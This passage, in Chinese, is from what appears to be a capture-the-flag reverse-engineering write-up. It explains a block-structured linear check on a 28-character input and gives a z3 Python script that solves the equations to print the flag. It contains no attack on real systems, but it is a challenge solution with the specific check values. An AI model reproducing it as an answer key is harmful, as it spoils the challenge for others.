    • 第二组：Str[7] 到 Str[13] 对应 v5[7] 到 v5[13]

    • 第三组：Str[14] 到 Str[20] 对应 v5[14] 到 v5[20]

    • 第四组：Str[21] 到 Str[27] 对应 v5[21] 到 v5[27]

  • 系数矩阵：不仅分组了，而且每一组的系数完全一模一样

    • v5[0] = 12*Str[0] + 53*Str[1] + 6*Str[2] + 34*Str[3] + 58*Str[4] + 36*Str[5] + 1*Str[6]

    • v5[7] = 12*Str[7] + 53*Str[8] + 6*Str[9] + 34*Str[10] + 58*Str[11] + 36*Str[12] + 1*Str[13]

它们的乘数（12, 53, 6, 34, 58, 36, 1）和对应的相对位置完全一致

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from z3 import *

check_data = [
    20933, 41536, 33625, 38288, 27097, 40649, 18710, 18617,
    41846, 36080, 35205, 28888, 36346, 18809, 20789, 39340,
    31803, 33629, 24418, 34136, 16504, 19638, 40515, 36396,
    37839, 28986, 41711, 18605
]

def solve_flag():
    if not check_data or len(check_data) != 28:
        print("[-] 请先完整填入 28 个 check 数组元素！")
        return

    solver = Solver()

    # 1. 创建 28 个整型未知数代表 Flag 的每一位
    # f's_{i}' 其实是 Python 的 f-string，动态命名为 s_0、s_1……
    Str = [Int(f's_{i}') for i in range(28)]

    # 2. 添加可见 ASCII 码约束
    for i in range(28):
        solver.add(Str[i] >= 32, Str[i] <= 126)

    # 3. 提取出单组 (7x7) 的核心系数矩阵 (按照 Str[0] 到 Str[6] 的顺序排列)
    # 仔细核对伪代码中每一行的系数：
    matrix = [
        [12, 53,  6, 34, 58, 36,  1],  # v5[0]
        [83, 85, 12, 73, 27, 96, 52],  # v5[1]
        [78, 53, 24, 36, 86, 25, 46],  # v5[2]
        [39, 78, 52,  9, 62, 37, 84],  # v5[3]
        [23,  6, 14, 74, 48, 12, 83],  # v5[4]
        [27, 85, 92, 42, 48, 15, 72],  # v5[5]
        [ 4,  6,  3, 67,  0, 26, 68]   # v5[6]
    ]

    # 5. 循环生成 4 个 Block 的全量方程组约束 (共 4 * 7 = 28 个)
    for block in range(4):
        offset = block * 7
        for row in range(7):
            # 计算当前行对应的全局 check 索引
            target_val = check_data[offset + row]
            
            # 构建线性组合: 系数 * 对应的 Str 变量
            equation = sum(matrix[row][col] * Str[offset + col] for col in range(7))
            
            # 添加到求解器
            solver.add(equation == target_val)

    # 6. 求解并打印结果
    if solver.check() == sat:
        model = solver.model()
        # 按照索引顺序拼接字符
        flag = "".join([chr(model[Str[i]].as_long()) for i in range(28)])
        print(f"[+] 求解成功！Flag 值为: {flag}")
    else:
        print("[-] 求解失败，请检查 check_data 或系数矩阵是否填错。")

if __name__ == "__main__":
    solve_flag()